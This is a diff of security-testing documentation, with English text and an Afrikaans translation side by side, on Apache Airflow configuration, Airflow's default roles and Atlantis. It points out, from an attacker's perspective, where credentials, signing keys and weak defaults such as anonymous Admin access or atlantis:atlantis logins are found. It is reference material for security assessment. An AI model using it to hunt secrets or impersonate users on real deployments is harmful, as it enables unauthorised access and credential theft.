# Airflow Configuration
|
||||
# Airflow Konfigurasie
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Configuration File
|
||||
## Konfigurasie Lêer
|
||||
|
||||
**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.**
|
||||
**Apache Airflow** genereer 'n **konfigurasie lêer** in al die airflow masjiene genaamd **`airflow.cfg`** in die huis van die airflow gebruiker. Hierdie konfigurasie lêer bevat konfigurasie-inligting en **kan interessante en sensitiewe inligting bevat.**
|
||||
|
||||
**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.**
|
||||
**Daar is twee maniere om toegang tot hierdie lêer te verkry: Deur 'n paar airflow masjiene te kompromitteer, of deur toegang tot die webkonsol.**
|
||||
|
||||
Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
|
||||
Let daarop dat die **waardes binne die konfigurasie lêer** **nie diegene mag wees wat gebruik word nie**, aangesien jy dit kan oorskryf deur omgewingsveranderlikes soos `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'` in te stel.
|
||||
|
||||
If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\
|
||||
If you have **access to some machine inside the airflow env**, check the **environment**.
|
||||
As jy toegang het tot die **konfigurasie lêer in die webbediener**, kan jy die **werklike lopende konfigurasie** op dieselfde bladsy waar die konfigurasie vertoon word, nagaan.\
|
||||
As jy **toegang het tot 'n paar masjiene binne die airflow omgewing**, kyk na die **omgewing**.
|
||||
|
||||
Some interesting values to check when reading the config file:
|
||||
Sommige interessante waardes om na te kyk wanneer jy die konfigurasie lêer lees:
|
||||
|
||||
### \[api]
|
||||
|
||||
- **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS**
|
||||
- **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS**
|
||||
- **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS**
|
||||
- **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API:
|
||||
- `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API
|
||||
- `airflow.api.auth.backend.default`: **Everyone can** access it without authentication
|
||||
- `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication**
|
||||
- `airflow.api.auth.backend.basic_auth`: For **basic authentication**
|
||||
- `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)).
|
||||
- `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default).
|
||||
- You can also **create you own authentication** method with python.
|
||||
- **`google_key_path`:** Path to the **GCP service account key**
|
||||
- **`access_control_allow_headers`**: Dit dui die **toegelate** **koppe** vir **CORS** aan
|
||||
- **`access_control_allow_methods`**: Dit dui die **toegelate metodes** vir **CORS** aan
|
||||
- **`access_control_allow_origins`**: Dit dui die **toegelate oorspronge** vir **CORS** aan
|
||||
- **`auth_backend`**: [**Volgens die dokumentasie**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) kan 'n paar opsies in plek wees om te konfigureer wie toegang tot die API kan hê:
|
||||
- `airflow.api.auth.backend.deny_all`: **Standaard kan niemand** toegang tot die API hê nie
|
||||
- `airflow.api.auth.backend.default`: **Enigiemand kan** toegang hê sonder verifikasie
|
||||
- `airflow.api.auth.backend.kerberos_auth`: Om **kerberos-verifikasie** te konfigureer
|
||||
- `airflow.api.auth.backend.basic_auth`: Vir **basiese verifikasie**
|
||||
- `airflow.composer.api.backend.composer_auth`: Gebruik komponiste se verifikasie (GCP) (van [**hier**](https://cloud.google.com/composer/docs/access-airflow-api)).
|
||||
- `composer_auth_user_registration_role`: Dit dui die **rol** aan wat die **komponiste gebruiker** binne **airflow** sal kry (**Op** standaard).
|
||||
- Jy kan ook jou eie **verifikasie** metode met python skep.
|
||||
- **`google_key_path`:** Pad na die **GCP diensrekening sleutel**
|
||||
|
||||
### **\[atlas]**
|
||||
|
||||
- **`password`**: Atlas password
|
||||
- **`username`**: Atlas username
|
||||
- **`password`**: Atlas wagwoord
|
||||
- **`username`**: Atlas gebruikersnaam
|
||||
|
||||
### \[celery]
|
||||
|
||||
- **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_)
|
||||
- **`result_backend`**: Postgres url which may contain **credentials**.
|
||||
- **`ssl_cacert`**: Path to the cacert
|
||||
- **`ssl_cert`**: Path to the cert
|
||||
- **`ssl_key`**: Path to the key
|
||||
- **`flower_basic_auth`** : Kredensiale (_user1:password1,user2:password2_)
|
||||
- **`result_backend`**: Postgres url wat **kredensiale** kan bevat.
|
||||
- **`ssl_cacert`**: Pad na die cacert
|
||||
- **`ssl_cert`**: Pad na die sertifikaat
|
||||
- **`ssl_key`**: Pad na die sleutel
|
||||
|
||||
### \[core]
|
||||
|
||||
- **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that don’t contain the strings `DAG` and `airflow`.
|
||||
- **`fernet_key`**: Key to store encrypted variables (symmetric)
|
||||
- **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections.
|
||||
- **`security`**: What security module to use (for example kerberos)
|
||||
- **`dag_discovery_safe_mode`**: Geaktiveer deur standaard. Wanneer DAGs ontdek word, ignoreer enige lêers wat nie die strings `DAG` en `airflow` bevat nie.
|
||||
- **`fernet_key`**: Sleutel om versleutelde veranderlikes te stoor (simmetries)
|
||||
- **`hide_sensitive_var_conn_fields`**: Geaktiveer deur standaard, verberg sensitiewe inligting van verbindings.
|
||||
- **`security`**: Watter sekuriteitsmodule om te gebruik (byvoorbeeld kerberos)
|
||||
|
||||
### \[dask]
|
||||
|
||||
- **`tls_ca`**: Path to ca
|
||||
- **`tls_cert`**: Part to the cert
|
||||
- **`tls_key`**: Part to the tls key
|
||||
- **`tls_ca`**: Pad na ca
|
||||
- **`tls_cert`**: Pad na die sertifikaat
|
||||
- **`tls_key`**: Pad na die tls sleutel
|
||||
|
||||
### \[kerberos]
|
||||
|
||||
- **`ccache`**: Path to ccache file
|
||||
- **`forwardable`**: Enabled by default
|
||||
- **`ccache`**: Pad na ccache lêer
|
||||
- **`forwardable`**: Geaktiveer deur standaard
|
||||
|
||||
### \[logging]
|
||||
|
||||
- **`google_key_path`**: Path to GCP JSON creds.
|
||||
- **`google_key_path`**: Pad na GCP JSON kredensiale.
|
||||
|
||||
### \[secrets]
|
||||
|
||||
- **`backend`**: Full class name of secrets backend to enable
|
||||
- **`backend_kwargs`**: The backend_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class.
|
||||
- **`backend`**: Volledige klasnaam van die secrets backend om te aktiveer
|
||||
- **`backend_kwargs`**: Die backend_kwargs parameter word in 'n woordeboek gelaai en aan **init** van die secrets backend klas oorgedra.
|
||||
|
||||
### \[smtp]
|
||||
|
||||
- **`smtp_password`**: SMTP password
|
||||
- **`smtp_user`**: SMTP user
|
||||
- **`smtp_password`**: SMTP wagwoord
|
||||
- **`smtp_user`**: SMTP gebruiker
|
||||
|
||||
### \[webserver]
|
||||
|
||||
- **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value
|
||||
- **`cookie_secure`**: Set **secure flag** on the the session cookie
|
||||
- **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console**
|
||||
- **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker)
|
||||
- **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**)
|
||||
- **`web_server_ssl_cert`**: **Path** to the **SSL** **cert**
|
||||
- **`web_server_ssl_key`**: **Path** to the **SSL** **Key**
|
||||
- **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible
|
||||
- **`cookie_samesite`**: Standaard is dit **Lax**, so dit is reeds die swakste moontlike waarde
|
||||
- **`cookie_secure`**: Stel **veilige vlag** op die sessie koekie
|
||||
- **`expose_config`**: Standaard is dit Vals, as waar, kan die **konfigurasie** **gelees** word vanaf die web **konsol**
|
||||
- **`expose_stacktrace`**: Standaard is dit Waar, dit sal **python tracebacks** vertoon (potensieel nuttig vir 'n aanvaller)
|
||||
- **`secret_key`**: Dit is die **sleutel wat deur flask gebruik word om die koekies te teken** (as jy dit het, kan jy **enige gebruiker in Airflow naboots**)
|
||||
- **`web_server_ssl_cert`**: **Pad** na die **SSL** **sertifikaat**
|
||||
- **`web_server_ssl_key`**: **Pad** na die **SSL** **Sleutel**
|
||||
- **`x_frame_enabled`**: Standaard is **Waar**, so klikjacking is nie moontlik nie
|
||||
|
||||
### Web Authentication
|
||||
|
||||
By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as
|
||||
### Web Verifikasie
|
||||
|
||||
Standaard word **web verifikasie** in die lêer **`webserver_config.py`** gespesifiseer en is geconfigureer as
|
||||
```bash
|
||||
AUTH_TYPE = AUTH_DB
|
||||
```
|
||||
|
||||
Which means that the **authentication is checked against the database**. However, other configurations are possible like
|
||||
|
||||
Wat beteken dat die **authentisering teen die databasis nagegaan word**. egter, ander konfigurasies is moontlik soos
|
||||
```bash
|
||||
AUTH_TYPE = AUTH_OAUTH
|
||||
```
|
||||
Om die **verifikasie aan derdeparty-dienste** oor te laat.
|
||||
|
||||
To leave the **authentication to third party services**.
|
||||
|
||||
However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**:
|
||||
|
||||
Daar is egter ook 'n opsie om **anonieme gebruikers toegang** te gee, deur die volgende parameter op die **gewenste rol** in te stel:
|
||||
```bash
|
||||
AUTH_ROLE_PUBLIC = 'Admin'
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,44 +4,40 @@
|
||||
|
||||
## RBAC
|
||||
|
||||
(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles.
|
||||
(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow verskaf 'n **stel rolle standaard**: **Admin**, **User**, **Op**, **Viewer**, en **Public**. **Slegs `Admin`** gebruikers kan **die toestemmings vir ander rolle konfigureer/wysig**. Maar dit word nie aanbeveel dat `Admin` gebruikers hierdie standaard rolle op enige manier verander deur toestemmings van hierdie rolle te verwyder of by te voeg nie.
|
||||
|
||||
- **`Admin`** users have all possible permissions.
|
||||
- **`Public`** users (anonymous) don’t have any permissions.
|
||||
- **`Viewer`** users have limited viewer permissions (only read). It **cannot see the config.**
|
||||
- **`User`** users have `Viewer` permissions plus additional user permissions that allows him to manage DAGs a bit. He **can see the config file**
|
||||
- **`Op`** users have `User` permissions plus additional op permissions.
|
||||
- **`Admin`** gebruikers het alle moontlike toestemmings.
|
||||
- **`Public`** gebruikers (anoniem) het geen toestemmings nie.
|
||||
- **`Viewer`** gebruikers het beperkte kyktoestemmings (slegs lees). Dit **kan nie die konfigurasie sien nie.**
|
||||
- **`User`** gebruikers het `Viewer` toestemmings plus addisionele gebruikers toestemmings wat hom toelaat om DAGs 'n bietjie te bestuur. Hy **kan die konfigurasie lêer sien.**
|
||||
- **`Op`** gebruikers het `User` toestemmings plus addisionele operasionele toestemmings.
|
||||
|
||||
Note that **admin** users can **create more roles** with more **granular permissions**.
|
||||
Let daarop dat **admin** gebruikers kan **meer rolle skep** met meer **fynere toestemmings**.
|
||||
|
||||
Also note that the only default role with **permission to list users and roles is Admin, not even Op** is going to be able to do that.
|
||||
Neem ook kennis dat die enigste standaard rol met **toestemming om gebruikers en rolle te lys is Admin, nie eens Op** sal dit kan doen nie.
|
||||
|
||||
### Default Permissions
|
||||
|
||||
These are the default permissions per default role:
|
||||
Hierdie is die standaard toestemmings per standaard rol:
|
||||
|
||||
- **Admin**
|
||||
|
||||
\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on Roles, can read on Permissions, can delete on Roles, can edit on Roles, can create on Roles, can read on Users, can create on Users, can edit on Users, can delete on Users, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs, can read on Task Reschedules, menu access on Task Reschedules, can read on Triggers, menu access on Triggers, can read on Passwords, can edit on Passwords, menu access on List Users, menu access on Security, menu access on List Roles, can read on User Stats Chart, menu access on User's Statistics, menu access on Base Permissions, can read on View Menus, menu access on Views/Menus, can read on Permission Views, menu access on Permission on Views/Menus, can get on MenuApi, menu access on Providers, can create on XComs]
|
||||
\[kan verwyder op Connections, kan lees op Connections, kan wysig op Connections, kan skep op Connections, kan lees op DAGs, kan wysig op DAGs, kan verwyder op DAGs, kan lees op DAG Runs, kan lees op Task Instances, kan wysig op Task Instances, kan verwyder op DAG Runs, kan skep op DAG Runs, kan wysig op DAG Runs, kan lees op Audit Logs, kan lees op ImportError, kan verwyder op Pools, kan lees op Pools, kan wysig op Pools, kan skep op Pools, kan lees op Providers, kan verwyder op Variables, kan lees op Variables, kan wysig op Variables, kan skep op Variables, kan lees op XComs, kan lees op DAG Code, kan lees op Configurations, kan lees op Plugins, kan lees op Roles, kan lees op Permissions, kan verwyder op Roles, kan wysig op Roles, kan skep op Roles, kan lees op Users, kan skep op Users, kan wysig op Users, kan verwyder op Users, kan lees op DAG Dependencies, kan lees op Jobs, kan lees op My Password, kan wysig op My Password, kan lees op My Profile, kan wysig op My Profile, kan lees op SLA Misses, kan lees op Task Logs, kan lees op Website, menu toegang op Browse, menu toegang op DAG Dependencies, menu toegang op DAG Runs, menu toegang op Documentation, menu toegang op Docs, menu toegang op Jobs, menu toegang op Audit Logs, menu toegang op Plugins, menu toegang op SLA Misses, menu toegang op Task Instances, kan skep op Task Instances, kan verwyder op Task Instances, menu toegang op Admin, menu toegang op Configurations, menu toegang op Connections, menu toegang op Pools, menu toegang op Variables, menu toegang op XComs, kan verwyder op XComs, kan lees op Task Reschedules, menu toegang op Task Reschedules, kan lees op Triggers, menu toegang op Triggers, kan lees op Passwords, kan wysig op Passwords, menu toegang op List Users, menu toegang op Security, menu toegang op List Roles, kan lees op User Stats Chart, menu toegang op User's Statistics, menu toegang op Base Permissions, kan lees op View Menus, menu toegang op Views/Menus, kan lees op Permission Views, menu toegang op Permission on Views/Menus, kan kry op MenuApi, menu toegang op Providers, kan skep op XComs]
|
||||
|
||||
- **Op**
|
||||
|
||||
\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs]
|
||||
\[kan verwyder op Connections, kan lees op Connections, kan wysig op Connections, kan skep op Connections, kan lees op DAGs, kan wysig op DAGs, kan verwyder op DAGs, kan lees op DAG Runs, kan lees op Task Instances, kan wysig op Task Instances, kan verwyder op DAG Runs, kan skep op DAG Runs, kan wysig op DAG Runs, kan lees op Audit Logs, kan lees op ImportError, kan verwyder op Pools, kan lees op Pools, kan wysig op Pools, kan skep op Pools, kan lees op Providers, kan verwyder op Variables, kan lees op Variables, kan wysig op Variables, kan skep op Variables, kan lees op XComs, kan lees op DAG Code, kan lees op Configurations, kan lees op Plugins, kan lees op DAG Dependencies, kan lees op Jobs, kan lees op My Password, kan wysig op My Password, kan lees op My Profile, kan wysig op My Profile, kan lees op SLA Misses, kan lees op Task Logs, kan lees op Website, menu toegang op Browse, menu toegang op DAG Dependencies, menu toegang op DAG Runs, menu toegang op Documentation, menu toegang op Docs, menu toegang op Jobs, menu toegang op Audit Logs, menu toegang op Plugins, menu toegang op SLA Misses, menu toegang op Task Instances, kan skep op Task Instances, kan verwyder op Task Instances, menu toegang op Admin, menu toegang op Configurations, menu toegang op Connections, menu toegang op Pools, menu toegang op Variables, menu toegang op XComs, kan verwyder op XComs]
|
||||
|
||||
- **User**
|
||||
|
||||
\[can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances]
|
||||
\[kan lees op DAGs, kan wysig op DAGs, kan verwyder op DAGs, kan lees op DAG Runs, kan lees op Task Instances, kan wysig op Task Instances, kan verwyder op DAG Runs, kan skep op DAG Runs, kan wysig op DAG Runs, kan lees op Audit Logs, kan lees op ImportError, kan lees op XComs, kan lees op DAG Code, kan lees op Plugins, kan lees op DAG Dependencies, kan lees op Jobs, kan lees op My Password, kan wysig op My Password, kan lees op My Profile, kan wysig op My Profile, kan lees op SLA Misses, kan lees op Task Logs, kan lees op Website, menu toegang op Browse, menu toegang op DAG Dependencies, menu toegang op DAG Runs, menu toegang op Documentation, menu toegang op Docs, menu toegang op Jobs, menu toegang op Audit Logs, menu toegang op Plugins, menu toegang op SLA Misses, menu toegang op Task Instances, kan skep op Task Instances, kan verwyder op Task Instances]
|
||||
|
||||
- **Viewer**
|
||||
|
||||
\[can read on DAGs, can read on DAG Runs, can read on Task Instances, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances]
|
||||
\[kan lees op DAGs, kan lees op DAG Runs, kan lees op Task Instances, kan lees op Audit Logs, kan lees op ImportError, kan lees op XComs, kan lees op DAG Code, kan lees op Plugins, kan lees op DAG Dependencies, kan lees op Jobs, kan lees op My Password, kan wysig op My Password, kan lees op My Profile, kan wysig op My Profile, kan lees op SLA Misses, kan lees op Task Logs, kan lees op Website, menu toegang op Browse, menu toegang op DAG Dependencies, menu toegang op DAG Runs, menu toegang op Documentation, menu toegang op Docs, menu toegang op Jobs, menu toegang op Audit Logs, menu toegang op Plugins, menu toegang op SLA Misses, menu toegang op Task Instances]
|
||||
|
||||
- **Public**
|
||||
|
||||
\[]
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,109 +4,109 @@
|
||||
|
||||
### Basic Information
|
||||
|
||||
Atlantis basically helps you to to run terraform from Pull Requests from your git server.
|
||||
Atlantis help jou basies om terraform vanaf Pull Requests van jou git bediener te laat loop.
|
||||
|
||||
.png>)
|
||||
|
||||
### Local Lab
|
||||
|
||||
1. Go to the **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) and **download** the one that suits you.
|
||||
2. Create a **personal token** (with repo access) of your **github** user
|
||||
3. Execute `./atlantis testdrive` and it will create a **demo repo** you can use to **talk to atlantis**
|
||||
1. You can access the web page in 127.0.0.1:4141
|
||||
1. Gaan na die **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) en **aflaai** die een wat vir jou geskik is.
|
||||
2. Skep 'n **persoonlike token** (met repo toegang) van jou **github** gebruiker.
|
||||
3. Voer `./atlantis testdrive` uit en dit sal 'n **demo repo** skep wat jy kan gebruik om met **atlantis** te **praat**.
|
||||
1. Jy kan die webblad in 127.0.0.1:4141 toegang.
|
||||
|
||||
### Atlantis Access
|
||||
|
||||
#### Git Server Credentials
|
||||
|
||||
**Atlantis** support several git hosts such as **Github**, **Gitlab**, **Bitbucket** and **Azure DevOps**.\
|
||||
However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\
|
||||
[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage to create a user in these platform specifically for Atlantis, but some people might use personal accounts.
|
||||
**Atlantis** ondersteun verskeie git gasheer soos **Github**, **Gitlab**, **Bitbucket** en **Azure DevOps**.\
|
||||
Echter, om toegang tot die repos in daardie platforms te verkry en aksies uit te voer, moet dit 'n paar **privileged access granted to them** hê (ten minste skryf regte).\
|
||||
[**Die docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) moedig aan om 'n gebruiker in hierdie platforms spesifiek vir Atlantis te skep, maar sommige mense mag persoonlike rekeninge gebruik.
|
||||
|
||||
> [!WARNING]
|
||||
> In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**.
|
||||
> In enige geval, vanuit 'n aanvaller se perspektief, gaan die **Atlantis rekening** een baie **interessante** **te kompromitteer** wees.
|
||||
|
||||
#### Webhooks
|
||||
|
||||
Atlantis uses optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) to validate that the **webhooks** it receives from your Git host are **legitimate**.
|
||||
Atlantis gebruik opsioneel [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) om te verifieer dat die **webhooks** wat dit van jou Git gasheer ontvang **legitiem** is.
|
||||
|
||||
One way to confirm this would be to **allowlist requests to only come from the IPs** of your Git host but an easier way is to use a Webhook Secret.
|
||||
Een manier om dit te bevestig, sou wees om **toestemming te gee dat versoeke slegs van die IP's** van jou Git gasheer kom, maar 'n makliker manier is om 'n Webhook Secret te gebruik.
|
||||
|
||||
Note that unless you use a private github or bitbucket server, you will need to expose webhook endpoints to the Internet.
|
||||
Let daarop dat tensy jy 'n private github of bitbucket bediener gebruik, jy webhook eindpunte aan die internet moet blootstel.
|
||||
|
||||
> [!WARNING]
|
||||
> Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**.
|
||||
> Atlantis gaan **webhooks blootstel** sodat die git bediener dit inligting kan stuur. Vanuit 'n aanvaller se perspektief sou dit interessant wees om te weet **of jy dit boodskappe kan stuur**.
|
||||
|
||||
#### Provider Credentials <a href="#provider-credentials" id="provider-credentials"></a>
|
||||
|
||||
[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html)
|
||||
[Van die docs:](https://www.runatlantis.io/docs/provider-credentials.html)
|
||||
|
||||
Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** commands on the server **Atlantis is hosted on**. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider.
|
||||
Atlantis loop Terraform deur eenvoudig **`terraform plan` en `apply`** op die bediener **waarop Atlantis gehoste is** uit te voer. Net soos wanneer jy Terraform plaaslik loop, benodig Atlantis credentials vir jou spesifieke verskaffer.
|
||||
|
||||
It's up to you how you [provide credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) for your specific provider to Atlantis:
|
||||
Dit is aan jou hoe jy [credentials verskaf](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) vir jou spesifieke verskaffer aan Atlantis:
|
||||
|
||||
- The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) have their own mechanisms for provider credentials. Read their docs.
|
||||
- If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex:
|
||||
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role")
|
||||
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
|
||||
- Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running.
|
||||
- Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running.
|
||||
- Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials.
|
||||
- Die Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) en [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) het hul eie meganismes vir verskaffer credentials. Lees hul docs.
|
||||
- As jy Atlantis in 'n wolk loop, het baie wolke maniere om wolk API toegang aan toepassings wat daarop loop te gee, bv:
|
||||
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Soek vir "EC2 Role")
|
||||
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
|
||||
- Baie gebruikers stel omgewing veranderlikes in, bv. `AWS_ACCESS_KEY`, waar Atlantis loop.
|
||||
- Ander skep die nodige konfigurasie lêers, bv. `~/.aws/credentials`, waar Atlantis loop.
|
||||
- Gebruik die [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) om verskaffer credentials te verkry.
|
||||
|
||||
> [!WARNING]
|
||||
> The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform.
|
||||
> Die **container** waar **Atlantis** **loop**, gaan hoogs waarskynlik **privileged credentials** vir die verskaffers (AWS, GCP, Github...) wat Atlantis via Terraform bestuur, bevat.
|
||||
|
||||
#### Web Page
|
||||
|
||||
By default Atlantis will run a **web page in the port 4141 in localhost**. This page just allows you to enable/disable atlantis apply and check the plan status of the repos and unlock them (it doesn't allow to modify things, so it isn't that useful).
|
||||
Standaard sal Atlantis 'n **webblad in die poort 4141 in localhost** laat loop. Hierdie bladsy laat jou net toe om atlantis apply in te skakel/af te skakel en die planstatus van die repos te kontroleer en hulle te ontgrendel (dit laat nie toe om dinge te wysig nie, so dit is nie so nuttig nie).
|
||||
|
||||
You probably won't find it exposed to the internet, but it looks like by default **no credentials are needed** to access it (and if they are `atlantis`:`atlantis` are the **default** ones).
|
||||
Jy sal waarskynlik nie vind dat dit aan die internet blootgestel is nie, maar dit lyk asof standaard **geen credentials benodig** word om toegang te verkry nie (en as hulle is, is `atlantis`:`atlantis` die **standaard** een).
|
||||
|
||||
### Server Configuration
|
||||
|
||||
Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three.
|
||||
Konfigurasie vir `atlantis server` kan gespesifiseer word via opdraglyn vlae, omgewing veranderlikes, 'n konfigurasie lêer of 'n mengsel van die drie.
|
||||
|
||||
- You can find [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supported by Atlantis server
|
||||
- You can find [**here how to transform a config option into an env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
|
||||
- Jy kan [**hier die lys van vlae**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) wat deur Atlantis bediener ondersteun word, vind.
|
||||
- Jy kan [**hier vind hoe om 'n konfigurasie opsie in 'n omgewing veranderlike te transformeer**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
|
||||
|
||||
Values are **chosen in this order**:
|
||||
Waardes word **in hierdie volgorde gekies**:
|
||||
|
||||
1. Flags
|
||||
2. Environment Variables
|
||||
3. Config File
|
||||
1. Vlae
|
||||
2. Omgewing Veranderlikes
|
||||
3. Konfigurasie Lêer
|
||||
|
||||
> [!WARNING]
|
||||
> Note that in the configuration you might find interesting values such as **tokens and passwords**.
|
||||
> Let daarop dat jy in die konfigurasie dalk interessante waardes soos **tokens en wagwoorde** mag vind.
|
||||
|
||||
#### Repos Configuration
|
||||
|
||||
Some configurations affects **how the repos are managed**. However, it's possible that **each repo require different settings**, so there are ways to specify each repo. This is the priority order:
|
||||
Sommige konfigurasies beïnvloed **hoe die repos bestuur word**. Dit is egter moontlik dat **elke repo verskillende instellings vereis**, so daar is maniere om elke repo te spesifiseer. Dit is die prioriteitsorde:
|
||||
|
||||
